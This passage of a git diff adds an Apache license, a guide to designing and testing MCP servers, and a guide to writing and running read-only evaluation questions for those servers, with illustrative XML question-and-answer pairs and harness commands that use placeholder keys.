intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + + Copyright [yyyy] [name of copyright owner] + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. \ No newline at end of file diff --git a/skills/mcp-builder/SKILL.md b/skills/mcp-builder/SKILL.md new file mode 100644 index 00000000..8a1a77a4 --- /dev/null +++ b/skills/mcp-builder/SKILL.md @@ -0,0 +1,236 @@ +--- +name: mcp-builder +description: Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. Use when building MCP servers to integrate external APIs or services, whether in Python (FastMCP) or Node/TypeScript (MCP SDK). +license: Complete terms in LICENSE.txt +--- + +# MCP Server Development Guide + +## Overview + +Create MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. The quality of an MCP server is measured by how well it enables LLMs to accomplish real-world tasks. + +--- + +# Process + +## 🚀 High-Level Workflow + +Creating a high-quality MCP server involves four main phases: + +### Phase 1: Deep Research and Planning + +#### 1.1 Understand Modern MCP Design + +**API Coverage vs. Workflow Tools:** +Balance comprehensive API endpoint coverage with specialized workflow tools. Workflow tools can be more convenient for specific tasks, while comprehensive coverage gives agents flexibility to compose operations. Performance varies by client—some clients benefit from code execution that combines basic tools, while others work better with higher-level workflows. When uncertain, prioritize comprehensive API coverage. + +**Tool Naming and Discoverability:** +Clear, descriptive tool names help agents find the right tools quickly. Use consistent prefixes (e.g., `github_create_issue`, `github_list_repos`) and action-oriented naming. + +**Context Management:** +Agents benefit from concise tool descriptions and the ability to filter/paginate results. Design tools that return focused, relevant data. Some clients support code execution which can help agents filter and process data efficiently. + +**Actionable Error Messages:** +Error messages should guide agents toward solutions with specific suggestions and next steps. + +#### 1.2 Study MCP Protocol Documentation + +**Navigate the MCP specification:** + +Start with the sitemap to find relevant pages: `https://modelcontextprotocol.io/sitemap.xml` + +Then fetch specific pages with `.md` suffix for markdown format (e.g., `https://modelcontextprotocol.io/specification/draft.md`). + +Key pages to review: +- Specification overview and architecture +- Transport mechanisms (streamable HTTP, stdio) +- Tool, resource, and prompt definitions + +#### 1.3 Study Framework Documentation + +**Recommended stack:** +- **Language**: TypeScript (high-quality SDK support and good compatibility in many execution environments e.g. MCPB. Plus AI models are good at generating TypeScript code, benefiting from its broad usage, static typing and good linting tools) +- **Transport**: Streamable HTTP for remote servers, using stateless JSON (simpler to scale and maintain, as opposed to stateful sessions and streaming responses). stdio for local servers. + +**Load framework documentation:** + +- **MCP Best Practices**: [📋 View Best Practices](./reference/mcp_best_practices.md) - Core guidelines + +**For TypeScript (recommended):** +- **TypeScript SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` +- [⚡ TypeScript Guide](./reference/node_mcp_server.md) - TypeScript patterns and examples + +**For Python:** +- **Python SDK**: Use WebFetch to load `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` +- [🐍 Python Guide](./reference/python_mcp_server.md) - Python patterns and examples + +#### 1.4 Plan Your Implementation + +**Understand the API:** +Review the service's API documentation to identify key endpoints, authentication requirements, and data models. Use web search and WebFetch as needed. + +**Tool Selection:** +Prioritize comprehensive API coverage. List endpoints to implement, starting with the most common operations. + +--- + +### Phase 2: Implementation + +#### 2.1 Set Up Project Structure + +See language-specific guides for project setup: +- [⚡ TypeScript Guide](./reference/node_mcp_server.md) - Project structure, package.json, tsconfig.json +- [🐍 Python Guide](./reference/python_mcp_server.md) - Module organization, dependencies + +#### 2.2 Implement Core Infrastructure + +Create shared utilities: +- API client with authentication +- Error handling helpers +- Response formatting (JSON/Markdown) +- Pagination support + +#### 2.3 Implement Tools + +For each tool: + +**Input Schema:** +- Use Zod (TypeScript) or Pydantic (Python) +- Include constraints and clear descriptions +- Add examples in field descriptions + +**Output Schema:** +- Define `outputSchema` where possible for structured data +- Use `structuredContent` in tool responses (TypeScript SDK feature) +- Helps clients understand and process tool outputs + +**Tool Description:** +- Concise summary of functionality +- Parameter descriptions +- Return type schema + +**Implementation:** +- Async/await for I/O operations +- Proper error handling with actionable messages +- Support pagination where applicable +- Return both text content and structured data when using modern SDKs + +**Annotations:** +- `readOnlyHint`: true/false +- `destructiveHint`: true/false +- `idempotentHint`: true/false +- `openWorldHint`: true/false + +--- + +### Phase 3: Review and Test + +#### 3.1 Code Quality + +Review for: +- No duplicated code (DRY principle) +- Consistent error handling +- Full type coverage +- Clear tool descriptions + +#### 3.2 Build and Test + +**TypeScript:** +- Run `npm run build` to verify compilation +- Test with MCP Inspector: `npx @modelcontextprotocol/inspector` + +**Python:** +- Verify syntax: `python -m py_compile your_server.py` +- Test with MCP Inspector + +See language-specific guides for detailed testing approaches and quality checklists. + +--- + +### Phase 4: Create Evaluations + +After implementing your MCP server, create comprehensive evaluations to test its effectiveness. + +**Load [✅ Evaluation Guide](./reference/evaluation.md) for complete evaluation guidelines.** + +#### 4.1 Understand Evaluation Purpose + +Use evaluations to test whether LLMs can effectively use your MCP server to answer realistic, complex questions. + +#### 4.2 Create 10 Evaluation Questions + +To create effective evaluations, follow the process outlined in the evaluation guide: + +1. **Tool Inspection**: List available tools and understand their capabilities +2. **Content Exploration**: Use READ-ONLY operations to explore available data +3. **Question Generation**: Create 10 complex, realistic questions +4. **Answer Verification**: Solve each question yourself to verify answers + +#### 4.3 Evaluation Requirements + +Ensure each question is: +- **Independent**: Not dependent on other questions +- **Read-only**: Only non-destructive operations required +- **Complex**: Requiring multiple tool calls and deep exploration +- **Realistic**: Based on real use cases humans would care about +- **Verifiable**: Single, clear answer that can be verified by string comparison +- **Stable**: Answer won't change over time + +#### 4.4 Output Format + +Create an XML file with this structure: + +```xml +<evaluation> + <qa_pair> + <question>Find discussions about AI model launches with animal codenames. One model needed a specific safety designation that uses the format ASL-X. What number X was being determined for the model named after a spotted wild cat?</question> + <answer>3</answer> + </qa_pair> +<!-- More qa_pairs... --> +</evaluation> +``` + +--- + +# Reference Files + +## 📚 Documentation Library + +Load these resources as needed during development: + +### Core MCP Documentation (Load First) +- **MCP Protocol**: Start with sitemap at `https://modelcontextprotocol.io/sitemap.xml`, then fetch specific pages with `.md` suffix +- [📋 MCP Best Practices](./reference/mcp_best_practices.md) - Universal MCP guidelines including: + - Server and tool naming conventions + - Response format guidelines (JSON vs Markdown) + - Pagination best practices + - Transport selection (streamable HTTP vs stdio) + - Security and error handling standards + +### SDK Documentation (Load During Phase 1/2) +- **Python SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/python-sdk/main/README.md` +- **TypeScript SDK**: Fetch from `https://raw.githubusercontent.com/modelcontextprotocol/typescript-sdk/main/README.md` + +### Language-Specific Implementation Guides (Load During Phase 2) +- [🐍 Python Implementation Guide](./reference/python_mcp_server.md) - Complete Python/FastMCP guide with: + - Server initialization patterns + - Pydantic model examples + - Tool registration with `@mcp.tool` + - Complete working examples + - Quality checklist + +- [⚡ TypeScript Implementation Guide](./reference/node_mcp_server.md) - Complete TypeScript guide with: + - Project structure + - Zod schema patterns + - Tool registration with `server.registerTool` + - Complete working examples + - Quality checklist + +### Evaluation Guide (Load During Phase 4) +- [✅ Evaluation Guide](./reference/evaluation.md) - Complete evaluation creation guide with: + - Question creation guidelines + - Answer verification strategies + - XML format specifications + - Example questions and answers + - Running an evaluation with the provided scripts diff --git a/skills/mcp-builder/reference/evaluation.md b/skills/mcp-builder/reference/evaluation.md new file mode 100644 index 00000000..87e9bb78 --- /dev/null +++ b/skills/mcp-builder/reference/evaluation.md @@ -0,0 +1,602 @@ +# MCP Server Evaluation Guide + +## Overview + +This document provides guidance on creating comprehensive evaluations for MCP servers. Evaluations test whether LLMs can effectively use your MCP server to answer realistic, complex questions using only the tools provided. + +--- + +## Quick Reference + +### Evaluation Requirements +- Create 10 human-readable questions +- Questions must be READ-ONLY, INDEPENDENT, NON-DESTRUCTIVE +- Each question requires multiple tool calls (potentially dozens) +- Answers must be single, verifiable values +- Answers must be STABLE (won't change over time) + +### Output Format +```xml +<evaluation> + <qa_pair> + <question>Your question here</question> + <answer>Single verifiable answer</answer> + </qa_pair> +</evaluation> +``` + +--- + +## Purpose of Evaluations + +The measure of quality of an MCP server is NOT how well or comprehensively the server implements tools, but how well these implementations (input/output schemas, docstrings/descriptions, functionality) enable LLMs with no other context and access ONLY to the MCP servers to answer realistic and difficult questions. + +## Evaluation Overview + +Create 10 human-readable questions requiring ONLY READ-ONLY, INDEPENDENT, NON-DESTRUCTIVE, and IDEMPOTENT operations to answer. Each question should be: +- Realistic +- Clear and concise +- Unambiguous +- Complex, requiring potentially dozens of tool calls or steps +- Answerable with a single, verifiable value that you identify in advance + +## Question Guidelines + +### Core Requirements + +1. **Questions MUST be independent** + - Each question should NOT depend on the answer to any other question + - Should not assume prior write operations from processing another question + +2. **Questions MUST require ONLY NON-DESTRUCTIVE AND IDEMPOTENT tool use** + - Should not instruct or require modifying state to arrive at the correct answer + +3. **Questions must be REALISTIC, CLEAR, CONCISE, and COMPLEX** + - Must require another LLM to use multiple (potentially dozens of) tools or steps to answer + +### Complexity and Depth + +4. **Questions must require deep exploration** + - Consider multi-hop questions requiring multiple sub-questions and sequential tool calls + - Each step should benefit from information found in previous questions + +5. **Questions may require extensive paging** + - May need paging through multiple pages of results + - May require querying old data (1-2 years out-of-date) to find niche information + - The questions must be DIFFICULT + +6. **Questions must require deep understanding** + - Rather than surface-level knowledge + - May pose complex ideas as True/False questions requiring evidence + - May use multiple-choice format where LLM must search different hypotheses + +7. **Questions must not be solvable with straightforward keyword search** + - Do not include specific keywords from the target content + - Use synonyms, related concepts, or paraphrases + - Require multiple searches, analyzing multiple related items, extracting context, then deriving the answer + +### Tool Testing + +8. **Questions should stress-test tool return values** + - May elicit tools returning large JSON objects or lists, overwhelming the LLM + - Should require understanding multiple modalities of data: + - IDs and names + - Timestamps and datetimes (months, days, years, seconds) + - File IDs, names, extensions, and mimetypes + - URLs, GIDs, etc. + - Should probe the tool's ability to return all useful forms of data + +9. **Questions should MOSTLY reflect real human use cases** + - The kinds of information retrieval tasks that HUMANS assisted by an LLM would care about + +10. **Questions may require dozens of tool calls** + - This challenges LLMs with limited context + - Encourages MCP server tools to reduce information returned + +11. **Include ambiguous questions** + - May be ambiguous OR require difficult decisions on which tools to call + - Force the LLM to potentially make mistakes or misinterpret + - Ensure that despite AMBIGUITY, there is STILL A SINGLE VERIFIABLE ANSWER + +### Stability + +12. **Questions must be designed so the answer DOES NOT CHANGE** + - Do not ask questions that rely on "current state" which is dynamic + - For example, do not count: + - Number of reactions to a post + - Number of replies to a thread + - Number of members in a channel + +13. **DO NOT let the MCP server RESTRICT the kinds of questions you create** + - Create challenging and complex questions + - Some may not be solvable with the available MCP server tools + - Questions may require specific output formats (datetime vs. epoch time, JSON vs. MARKDOWN) + - Questions may require dozens of tool calls to complete + +## Answer Guidelines + +### Verification + +1. **Answers must be VERIFIABLE via direct string comparison** + - If the answer can be re-written in many formats, clearly specify the output format in the QUESTION + - Examples: "Use YYYY/MM/DD.", "Respond True or False.", "Answer A, B, C, or D and nothing else." + - Answer should be a single VERIFIABLE value such as: + - User ID, user name, display name, first name, last name + - Channel ID, channel name + - Message ID, string + - URL, title + - Numerical quantity + - Timestamp, datetime + - Boolean (for True/False questions) + - Email address, phone number + - File ID, file name, file extension + - Multiple choice answer + - Answers must not require special formatting or complex, structured output + - Answer will be verified using DIRECT STRING COMPARISON + +### Readability + +2. **Answers should generally prefer HUMAN-READABLE formats** + - Examples: names, first name, last name, datetime, file name, message string, URL, yes/no, true/false, a/b/c/d + - Rather than opaque IDs (though IDs are acceptable) + - The VAST MAJORITY of answers should be human-readable + +### Stability + +3. **Answers must be STABLE/STATIONARY** + - Look at old content (e.g., conversations that have ended, projects that have launched, questions answered) + - Create QUESTIONS based on "closed" concepts that will always return the same answer + - Questions may ask to consider a fixed time window to insulate from non-stationary answers + - Rely on context UNLIKELY to change + - Example: if finding a paper name, be SPECIFIC enough so answer is not confused with papers published later + +4. **Answers must be CLEAR and UNAMBIGUOUS** + - Questions must be designed so there is a single, clear answer + - Answer can be derived from using the MCP server tools + +### Diversity + +5. **Answers must be DIVERSE** + - Answer should be a single VERIFIABLE value in diverse modalities and formats + - User concept: user ID, user name, display name, first name, last name, email address, phone number + - Channel concept: channel ID, channel name, channel topic + - Message concept: message ID, message string, timestamp, month, day, year + +6. **Answers must NOT be complex structures** + - Not a list of values + - Not a complex object + - Not a list of IDs or strings + - Not natural language text + - UNLESS the answer can be straightforwardly verified using DIRECT STRING COMPARISON + - And can be realistically reproduced + - It should be unlikely that an LLM would return the same list in any other order or format + +## Evaluation Process + +### Step 1: Documentation Inspection + +Read the documentation of the target API to understand: +- Available endpoints and functionality +- If ambiguity exists, fetch additional information from the web +- Parallelize this step AS MUCH AS POSSIBLE +- Ensure each subagent is ONLY examining documentation from the file system or on the web + +### Step 2: Tool Inspection + +List the tools available in the MCP server: +- Inspect the MCP server directly +- Understand input/output schemas, docstrings, and descriptions +- WITHOUT calling the tools themselves at this stage + +### Step 3: Developing Understanding + +Repeat steps 1 & 2 until you have a good understanding: +- Iterate multiple times +- Think about the kinds of tasks you want to create +- Refine your understanding +- At NO stage should you READ the code of the MCP server implementation itself +- Use your intuition and understanding to create reasonable, realistic, but VERY challenging tasks + +### Step 4: Read-Only Content Inspection + +After understanding the API and tools, USE the MCP server tools: +- Inspect content using READ-ONLY and NON-DESTRUCTIVE operations ONLY +- Goal: identify specific content (e.g., users, channels, messages, projects, tasks) for creating realistic questions +- Should NOT call any tools that modify state +- Will NOT read the code of the MCP server implementation itself +- Parallelize this step with individual sub-agents pursuing independent explorations +- Ensure each subagent is only performing READ-ONLY, NON-DESTRUCTIVE, and IDEMPOTENT operations +- BE CAREFUL: SOME TOOLS may return LOTS OF DATA which would cause you to run out of CONTEXT +- Make INCREMENTAL, SMALL, AND TARGETED tool calls for exploration +- In all tool call requests, use the `limit` parameter to limit results (<10) +- Use pagination + +### Step 5: Task Generation + +After inspecting the content, create 10 human-readable questions: +- An LLM should be able to answer these with the MCP server +- Follow all question and answer guidelines above + +## Output Format + +Each QA pair consists of a question and an answer. The output should be an XML file with this structure: + +```xml +<evaluation> + <qa_pair> + <question>Find the project created in Q2 2024 with the highest number of completed tasks. What is the project name?</question> + <answer>Website Redesign</answer> + </qa_pair> + <qa_pair> + <question>Search for issues labeled as "bug" that were closed in March 2024. Which user closed the most issues? Provide their username.</question> + <answer>sarah_dev</answer> + </qa_pair> + <qa_pair> + <question>Look for pull requests that modified files in the /api directory and were merged between January 1 and January 31, 2024. How many different contributors worked on these PRs?</question> + <answer>7</answer> + </qa_pair> + <qa_pair> + <question>Find the repository with the most stars that was created before 2023. What is the repository name?</question> + <answer>data-pipeline</answer> + </qa_pair> +</evaluation> +``` + +## Evaluation Examples + +### Good Questions + +**Example 1: Multi-hop question requiring deep exploration (GitHub MCP)** +```xml +<qa_pair> + <question>Find the repository that was archived in Q3 2023 and had previously been the most forked project in the organization. What was the primary programming language used in that repository?</question> + <answer>Python</answer> +</qa_pair> +``` + +This question is good because: +- Requires multiple searches to find archived repositories +- Needs to identify which had the most forks before archival +- Requires examining repository details for the language +- Answer is a simple, verifiable value +- Based on historical (closed) data that won't change + +**Example 2: Requires understanding context without keyword matching (Project Management MCP)** +```xml +<qa_pair> + <question>Locate the initiative focused on improving customer onboarding that was completed in late 2023. The project lead created a retrospective document after completion. What was the lead's role title at that time?</question> + <answer>Product Manager</answer> +</qa_pair> +``` + +This question is good because: +- Doesn't use specific project name ("initiative focused on improving customer onboarding") +- Requires finding completed projects from specific timeframe +- Needs to identify the project lead and their role +- Requires understanding context from retrospective documents +- Answer is human-readable and stable +- Based on completed work (won't change) + +**Example 3: Complex aggregation requiring multiple steps (Issue Tracker MCP)** +```xml +<qa_pair> + <question>Among all bugs reported in January 2024 that were marked as critical priority, which assignee resolved the highest percentage of their assigned bugs within 48 hours? Provide the assignee's username.</question> + <answer>alex_eng</answer> +</qa_pair> +``` + +This question is good because: +- Requires filtering bugs by date, priority, and status +- Needs to group by assignee and calculate resolution rates +- Requires understanding timestamps to determine 48-hour windows +- Tests pagination (potentially many bugs to process) +- Answer is a single username +- Based on historical data from specific time period + +**Example 4: Requires synthesis across multiple data types (CRM MCP)** +```xml +<qa_pair> + <question>Find the account that upgraded from the Starter to Enterprise plan in Q4 2023 and had the highest annual contract value. What industry does this account operate in?</question> + <answer>Healthcare</answer> +</qa_pair> +``` + +This question is good because: +- Requires understanding subscription tier changes +- Needs to identify upgrade events in specific timeframe +- Requires comparing contract values +- Must access account industry information +- Answer is simple and verifiable +- Based on completed historical transactions + +### Poor Questions + +**Example 1: Answer changes over time** +```xml +<qa_pair> + <question>How many open issues are currently assigned to the engineering team?</question> + <answer>47</answer> +</qa_pair> +``` + +This question is poor because: +- The answer will change as issues are created, closed, or reassigned +- Not based on stable/stationary data +- Relies on "current state" which is dynamic + +**Example 2: Too easy with keyword search** +```xml +<qa_pair> + <question>Find the pull request with title "Add authentication feature" and tell me who created it.</question> + <answer>developer123</answer> +</qa_pair> +``` + +This question is poor because: +- Can be solved with a straightforward keyword search for exact title +- Doesn't require deep exploration or understanding +- No synthesis or analysis needed + +**Example 3: Ambiguous answer format** +```xml +<qa_pair> + <question>List all the repositories that have Python as their primary language.</question> + <answer>repo1, repo2, repo3, data-pipeline, ml-tools</answer> +</qa_pair> +``` + +This question is poor because: +- Answer is a list that could be returned in any order +- Difficult to verify with direct string comparison +- LLM might format differently (JSON array, comma-separated, newline-separated) +- Better to ask for a specific aggregate (count) or superlative (most stars) + +## Verification Process + +After creating evaluations: + +1. **Examine the XML file** to understand the schema +2. **Load each task instruction** and in parallel using the MCP server and tools, identify the correct answer by attempting to solve the task YOURSELF +3. **Flag any operations** that require WRITE or DESTRUCTIVE operations +4. **Accumulate all CORRECT answers** and replace any incorrect answers in the document +5. **Remove any `<qa_pair>`** that require WRITE or DESTRUCTIVE operations + +Remember to parallelize solving tasks to avoid running out of context, then accumulate all answers and make changes to the file at the end. + +## Tips for Creating Quality Evaluations + +1. **Think Hard and Plan Ahead** before generating tasks +2. **Parallelize Where Opportunity Arises** to speed up the process and manage context +3. **Focus on Realistic Use Cases** that humans would actually want to accomplish +4. **Create Challenging Questions** that test the limits of the MCP server's capabilities +5. **Ensure Stability** by using historical data and closed concepts +6. **Verify Answers** by solving the questions yourself using the MCP server tools +7. **Iterate and Refine** based on what you learn during the process + +--- + +# Running Evaluations + +After creating your evaluation file, you can use the provided evaluation harness to test your MCP server. + +## Setup + +1. **Install Dependencies** + + ```bash + pip install -r scripts/requirements.txt + ``` + + Or install manually: + ```bash + pip install anthropic mcp + ``` + +2. **Set API Key** + + ```bash + export ANTHROPIC_API_KEY=your_api_key_here + ``` + +## Evaluation File Format + +Evaluation files use XML format with `<qa_pair>` elements: + +```xml +<evaluation> + <qa_pair> + <question>Find the project created in Q2 2024 with the highest number of completed tasks. What is the project name?</question> + <answer>Website Redesign</answer> + </qa_pair> + <qa_pair> + <question>Search for issues labeled as "bug" that were closed in March 2024. Which user closed the most issues? Provide their username.</question> + <answer>sarah_dev</answer> + </qa_pair> +</evaluation> +``` + +## Running Evaluations + +The evaluation script (`scripts/evaluation.py`) supports three transport types: + +**Important:** +- **stdio transport**: The evaluation script automatically launches and manages the MCP server process for you. Do not run the server manually. +- **sse/http transports**: You must start the MCP server separately before running the evaluation. The script connects to the already-running server at the specified URL. + +### 1. Local STDIO Server + +For locally-run MCP servers (script launches the server automatically): + +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a my_mcp_server.py \ + evaluation.xml +``` + +With environment variables: +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a my_mcp_server.py \ + -e API_KEY=abc123 \ + -e DEBUG=true \ + evaluation.xml +``` + +### 2. Server-Sent Events (SSE) + +For SSE-based MCP servers (you must start the server first): + +```bash +python scripts/evaluation.py \ + -t sse \ + -u https://example.com/mcp \ + -H "Authorization: Bearer token123" \ + -H "X-Custom-Header: value" \ + evaluation.xml +``` + +### 3. HTTP (Streamable HTTP) + +For HTTP-based MCP servers (you must start the server first): + +```bash +python scripts/evaluation.py \ + -t http \ + -u https://example.com/mcp \ + -H "Authorization: Bearer token123" \ + evaluation.xml +``` + +## Command-Line Options + +``` +usage: evaluation.py [-h] [-t {stdio,sse,http}] [-m MODEL] [-c COMMAND] + [-a ARGS [ARGS ...]] [-e ENV [ENV ...]] [-u URL] + [-H HEADERS [HEADERS ...]] [-o OUTPUT] + eval_file + +positional arguments: + eval_file Path to evaluation XML file + +optional arguments: + -h, --help Show help message + -t, --transport Transport type: stdio, sse, or http (default: stdio) + -m, --model Claude model to use (default: claude-3-7-sonnet-20250219) + -o, --output Output file for report (default: print to stdout) + +stdio options: + -c, --command Command to run MCP server (e.g., python, node) + -a, --args Arguments for the command (e.g., server.py) + -e, --env Environment variables in KEY=VALUE format + +sse/http options: + -u, --url MCP server URL + -H, --header HTTP headers in 'Key: Value' format +``` + +## Output + +The evaluation script generates a detailed report including: + +- **Summary Statistics**: + - Accuracy (correct/total) + - Average task duration + - Average tool calls per task + - Total tool calls + +- **Per-Task Results**: + - Prompt and expected response + - Actual response from the agent + - Whether the answer was correct (✅/❌) + - Duration and tool call details + - Agent's summary of its approach + - Agent's feedback on the tools + +### Save Report to File + +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a my_server.py \ + -o evaluation_report.md \ + evaluation.xml +``` + +## Complete Example Workflow + +Here's a complete example of creating and running an evaluation: + +1. **Create your evaluation file** (`my_evaluation.xml`): + +```xml +<evaluation> + <qa_pair> + <question>Find the user who created the most issues in January 2024. What is their username?</question> + <answer>alice_developer</answer> + </qa_pair> + <qa_pair> + <question>Among all pull requests merged in Q1 2024, which repository had the highest number? Provide the repository name.</question> + <answer>backend-api</answer> + </qa_pair> + <qa_pair> + <question>Find the project that was completed in December 2023 and had the longest duration from start to finish. How many days did it take?</question> + <answer>127</answer> + </qa_pair> +</evaluation> +``` + +2. **Install dependencies**: + +```bash +pip install -r scripts/requirements.txt +export ANTHROPIC_API_KEY=your_api_key +``` + +3. **Run evaluation**: + +```bash +python scripts/evaluation.py \ + -t stdio \ + -c python \ + -a github_mcp_server.py \ + -e GITHUB_TOKEN=ghp_xxx \ + -o github_eval_report.md \ + my_evaluation.xml +``` + +4. **Review the report** in `github_eval_report.md` to: + - See which questions passed/failed + - Read the agent's feedback on your tools + - Identify areas for improvement + - Iterate on your MCP server design + +## Troubleshooting + +### Connection Errors + +If you get connection errors: +- **STDIO**: Verify the command and arguments are correct +- **SSE/HTTP**: Check the URL is accessible and headers are correct +- Ensure any required API keys are set in environment variables or headers + +### Low Accuracy + +If many evaluations fail: +- Review the agent's feedback for each task +- Check if tool descriptions are clear and comprehensive +- Verify input parameters are well-documented +- Consider whether tools return too much or too little data +- Ensure error messages are actionable + +### Timeout Issues + +If tasks are timing out: +- Use a more capable model (e.g., `claude-3-7-sonnet-20250219`) +- Check if tools are returning too much data +- Verify pagination is working correctly +- Consider simplifying complex questions \ No newline at end of file diff --git a/skills/mcp-builder/reference/mcp_best_practices.md b/skills/mcp-builder/reference/mcp_best_practices.md new file mode 100644 index 00000000..b9d343cc --- /dev/null +++ b/skills/mcp-builder/reference/mcp_best_practices.md @@ -0,0 +1,249 @@ +# MCP Server Best Practices + +## Quick Reference + +### Server Naming +- **Python**: `{service}_mcp` (e.g., `slack_mcp`) +- **Node/TypeScript**: `{service}-mcp-server` (e.g., `slack-mcp-server`) + +### Tool Naming +- Use snake_case with service prefix +- Format: `{service}_{action}_{resource}` +- Example: `slack_send_message`, `github_create_issue` + +### Response Formats +- Support both JSON and Markdown formats +- JSON for programmatic processing +- Markdown for human readability + +### Pagination +- Always respect `limit` parameter +- Return `has_more`, `next_offset`, `total_count` +- Default to 20-50 items + +### Transport +- **Streamable HTTP**: For remote servers, multi-client scenarios +- **stdio**: For local integrations, command-line tools +- Avoid SSE (deprecated in favor of streamable HTTP) + +--- + +## Server Naming Conventions + +Follow these standardized naming patterns: + +**Python**: Use format `{service}_mcp` (lowercase with underscores) +- Examples: `slack_mcp`, `github_mcp`, `jira_mcp` + +**Node/TypeScript**: Use format `{service}-mcp-server` (lowercase with hyphens) +- Examples: `slack-mcp-server`, `github-mcp-server`, `jira-mcp-server` + +The name should be general, descriptive of the service being integrated, easy to infer from the task description, and without version numbers. + +--- + +## Tool Naming and Design + +### Tool Naming + +1. **Use snake_case**: `search_users`, `create_project`, `get_channel_info` +2. **Include service prefix**: Anticipate that your MCP server may be used alongside other MCP servers + - Use `slack_send_message` instead of just `send_message` + - Use `github_create_issue` instead of just `create_issue` +3. **Be action-oriented**: 